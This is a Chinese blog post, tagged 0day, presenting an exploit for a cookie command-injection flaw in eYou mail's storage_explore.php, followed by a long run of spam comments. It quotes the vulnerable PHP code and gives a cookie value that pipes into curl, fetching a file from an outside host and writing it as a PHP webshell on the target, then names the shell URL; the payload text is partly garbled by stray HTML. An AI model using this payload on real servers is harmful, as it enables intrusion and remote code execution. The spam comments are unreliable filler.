『河马』eyou Storage_explore.php Cookie命令注入漏洞利用工具


文件/user/storage_explort.php
<?php
/**
* 用户网络存储列表
*
* 该页面显示登录邮箱用户的网络存储文件列表,选择后添加到邮件的附件中。
*
* @author FengHui <fenghui@eyou.net>
* @copyright 2008 eYou.net
* @version storage_explore.php 2008/05/19
*/
require_once('/var/eyou/apache/htdocs/config.php');
require_once(PATH.'inc/function.php');
require_once(PATH.'inc/libeyou.php');
require_once(PATH.'inc/operate.php');

$skin               = getCookieUserValue('SKIN');
$uid                = getCookieUserValue('UID');
$domain             = getCookieUserValue('DOMAIN');
$user_dir_path      = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path  = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);

// 获取用户允许上传的最大附件大小
$attachsize = (int)($userinfo['attachsize'][0]);

$is_submit = $_POST['is_submit'] ? true : false;
?>
跟进getCookieUserValue函数:

function getCookieUserValue($key) {
    $user_arr = explode('&', cookie('USER'));
    $n = count($user_arr);
    for ($i = 0; $i < $n; $i++) {
        $g_arr = explode('=', $user_arr[$i]);
        if ($g_arr[0] == $key) {
            return $g_arr[1];
        }
    }
    return null;
}

跟进cookie函数:
function cookie($name){
    if (array_key_exists($name, $_COOKIE)) return $_COOKIE[$name];
       return '';

整个过程没有对cookie 进行过滤

直接就取那个cookie中USER的值取出来,然后进入了getUserDirPath函数

来看看getUserDirPath函数:

/**
* 获取用户目录的路径
*
* @param string $uid
* @param string $domain
*/
function getUserDirPath($uid, $domain) {
    $cmd = "/var/eyou/sbin/hashid $uid $domain";
    echo $cmd;
    $path = `$cmd`;
    $path = trim($path);
    return $path;
}

uid和domain直接进入了命令,导致命令执行。



漏洞利用:

将cookie设置为:

USER=UID=1|curl isafe.cc" target="_blank">isafe.cc:8080/test.txt" target="_blank">http://www.isafe.cc" target="_blank">isafe.cc:8080/test.txt>>www.isafe.cc" target="_blank">isafe.cc.php
然后访问localhost/user/storage_explore.php
此时会在localhost/user/下生成www.isafe.cc" target="_blank">isafe.cc.php文件

shell地址为:

localhost/user/www.isafe.cc" target="_blank">isafe.cc.php
只允许会员下载 该文件只允许会员下载! 登录 | 注册

[本日志由 admin 于 2016-06-10 10:30 PM 编辑]
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 0day
评论: 167 | 引用: 0 | 查看次数: 14093
Abdul [2015-06-07 09:33 AM]
The new Lubbock county jail cover an area of nearly half-million square feet and is capable of confining 1,512 inmates.
In brochure printing, it is important that you pay much attention to the key words or power words that you will be using to advertise your company, your business, and more importantly, your products and services. Scrabble experts, on the other hand, employ carefully researched strategies that have been tried and tested by others before.


My site ... synonyms for abannition
Pasquale [2015-06-07 09:07 AM]
One of the most important tips for all parents to remember is patience.
Purists would take issue with slang, but it does become part of every language, albeit characteristic of each nationality. Bottomline - there will always be something you don't understand about your partner.

Also visit my homepage ... antonyms of abetters
Kattie [2015-06-06 08:51 PM]
This means that every time you switch on the TV, pick up a book, play a CD or open a cupboard you can say out-loud the word written on the object.
In brochure printing, it is important that you pay much attention to the key words or power words that you will be using to advertise your company, your business, and more importantly, your products and services. Should you be unlucky enough to still have any of those letters in your hands when the game ends, you will receive a deduction to your score based on the points of the letters remaining on your rack.


Here is my web page; antonyms for benefit
Sharon [2015-06-06 05:31 PM]
The new Lubbock county jail cover an area of nearly half-million square feet and is capable of confining 1,512 inmates.
Purists would take issue with slang, but it does become part of every language, albeit characteristic of each nationality. Bottomline - there will always be something you don't understand about your partner.

Have a look at my webpage ... what are some antonyms for beneficial
Hazel [2015-06-06 03:10 PM]
The other term for fear of public speaking is Glosophobia.
Purists would take issue with slang, but it does become part of every language, albeit characteristic of each nationality. Remember that your written communication is an introduction or a supplement to you.

my weblog: synonyms and antonyms word finder
Erlinda [2015-06-06 01:02 PM]
Example: creating a regional food - accident--acci; promise--omi; refrigerator--iger.
or just sit with the images for a while and use your power of imagination to create some playful stories around it. Site - Sell allows individuals to create their own website even if they do not have much knowledge in website creation.

Here is my web blog: free antonyms worksheets for kindergarten
Adriene [2015-06-06 09:35 AM]
Whenever an irresistible force and an immovable object meet sparks can fly and ignite the passions within. It is not only these exact words but the attitudes behind them that must be eliminated.
Site - Sell allows individuals to create their own website even if they do not have much knowledge in website creation.

Feel free to surf to my webpage synonyms antonyms finder online
Susanna [2015-06-06 08:21 AM]
It should be possible to determine within just a few days if commercial financing is feasible for a specific business need, and the entire funding process should be finalized in three weeks or less.
If you are the kind of person who is not active in showing love, start doing so and you do not have to write a love letter. Scrabble experts, on the other hand, employ carefully researched strategies that have been tried and tested by others before.

Feel free to surf to my blog post; antonyms worksheets with pictures for kindergarten
Darryl [2015-06-06 00:23 AM]
The other term for fear of public speaking is Glosophobia.
So yes, it is more the words you say than the deeds you perform that define you in the minds of people. Bottomline - there will always be something you don't understand about your partner.

Also visit my page; antonyms worksheets for first graders
Orlando [2015-06-05 07:03 AM]
One of the most important tips for all parents to remember is patience.
In brochure printing, it is important that you pay much attention to the key words or power words that you will be using to advertise your company, your business, and more importantly, your products and services. Site - Sell allows individuals to create their own website even if they do not have much knowledge in website creation.

Also visit my homepage: antonyms of Abditory
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码
内 容:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
字数限制 1000 字 | UBB代码 开启 | [img]标签 关闭